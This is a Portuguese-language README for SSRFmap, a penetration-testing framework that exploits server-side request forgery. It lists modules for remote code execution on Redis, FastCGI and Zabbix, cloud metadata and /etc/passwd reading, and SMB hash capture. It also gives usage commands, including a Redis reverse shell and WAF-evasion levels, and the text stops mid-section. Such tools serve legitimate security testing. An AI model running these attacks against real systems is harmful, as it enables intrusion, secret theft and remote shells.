SSRFmap

SSRF são frequentemente usados para alavancar ações em outros serviços. Este framework tem como objetivo encontrar e explorar esses serviços facilmente. O SSRFmap recebe um arquivo de requisição do Burp como entrada e um parâmetro para fuzz.

Server Side Request Forgery ou SSRF é uma vulnerabilidade na qual um invasor força um servidor a realizar requisições em seu nome.

Sumário

• Módulos
• Instalação e Manual
• Exemplos
• Testes do SSRFmap
• Contribuir
  • Colaboradores

Módulos

Os seguintes módulos já estão implementados e podem ser usados com o argumento -m.

Nome	Descrição
axfr	Transferências de zona DNS (AXFR)
fastcgi	RCE no FastCGI
redis	RCE no Redis
github	RCE no Github Enterprise < 2.8.7
zabbix	RCE no Zabbix
mysql	Execução de comandos no MySQL
postgres	Execução de comandos no Postgres
docker	Vazamento de informações do Docker via API
smtp	Envio de e-mail via SMTP
portscan	Varredura dos 8000 portas principais do host
networkscan	Varredura HTTP Ping pela rede
readfiles	Leitura de arquivos como /etc/passwd
alibaba	Leitura de arquivos do provedor (ex: meta-data, user-data)
aws	Leitura de arquivos do provedor (ex: meta-data, user-data)
gce	Leitura de arquivos do provedor (ex: meta-data, user-data)
digitalocean	Leitura de arquivos do provedor (ex: meta-data, user-data)
socksproxy	Proxy SOCKS4
smbhash	Força uma autenticação SMB via um caminho UNC
tomcat	Ataque de força bruta contra o Gerenciador do Tomcat
custom	Envio de dados personalizados para um serviço ouvindo, ex: netcat
memcache	Armazenamento de dados dentro da instância memcache

Instalação e Manual

• A partir do repositório Github.

  $ git clone https://github.com/swisskyrepo/SSRFmap
  $ cd SSRFmap/
  $ pip3 install -r requirements.txt
  $ python3 ssrfmap.py
  
    usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                      [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
                      [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
  
    optional arguments:
      -h, --help          show this help message and exit
      -r REQFILE          SSRF Request file
      -p PARAM            SSRF Parameter to target
      -m MODULES          SSRF Modules to enable
      -l HANDLER          Start an handler for a reverse shell
      -v [VERBOSE]        Enable verbosity
      --lhost LHOST       LHOST reverse shell or IP to target in the network
      --lport LPORT       LPORT reverse shell or port to target in the network
      --uagent USERAGENT  User Agent to use
      --ssl [SSL]         Use HTTPS without verification
      --proxy PROXY       Use HTTP(s) proxy (ex: http://localhost:8080)
      --level [LEVEL]     Level of test to perform (1-5, default: 1)
  

• Docker

  $ git clone https://github.com/swisskyrepo/SSRFmap
  $ docker build --no-cache -t ssrfmap .
  $ docker run -it ssrfmap ssrfmap.py [OPTIONS] 
  $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
  

Exemplos

Primeiro você precisa de uma requisição com um parâmetro para fuzz. Requisições do Burp funcionam bem com o SSRFmap. Elas devem ser semelhantes ao exemplo abaixo. Mais exemplos estão disponíveis na pasta ./examples.

POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

Use o -m seguido pelo nome do módulo (separado por , se quiser executar vários módulos).

# Executa um portscan no localhost e lê os arquivos padrão
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

Se quiser injetar em um cabeçalho, parâmetro GET ou POST, basta especificar o nome do parâmetro.

python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

Se precisar de um user-agent personalizado, use --uagent. Alguns alvos usarão HTTPS, você pode habilitá-lo com --ssl.

# Executa um portscan contra um endpoint HTTPS usando um user-agent personalizado
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

Alguns módulos permitem criar uma conexão reversa; você precisa especificar LHOST e LPORT. Além disso, o SSRFmap pode ouvir a shell reversa recebida.

# Disparando uma shell reversa em um Redis
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l cria um ouvinte para shell reversa na porta especificada
# --lhost e --lport funcionam como no Metasploit; esses valores são usados para criar o payload da shell reversa

Quando o alvo estiver protegido por um WAF ou alguns filtros, você pode tentar uma ampla gama de payloads e codificações com o parâmetro --level.

# --level : capacidade de ajustar payloads para contornar alguns IDS/WAF. Ex: 127.0.0.1 -> [::] -> 0000: -> ...

Testes do SSRFmap

Uma maneira rápida de testar o framework pode ser feita com o serviço SSRF data/example.py.

• Local

  FLASK_APP=examples/example.py flask run &
  python ssrfmap.py -r examples/request.txt -p url -m readfiles
  

• Docker

  docker build --no-cache -t ssrfmap .
  
  # executar exemplo de serviço HTTP SSRF
  docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py
  
  # executar exemplo de serviço DNS SSRF
  docker exec -u root:root -it example python examples/ssrf_dns.py
  
  # executar a ferramenta ssrfmap
  docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
  

Execute as requisições de teste: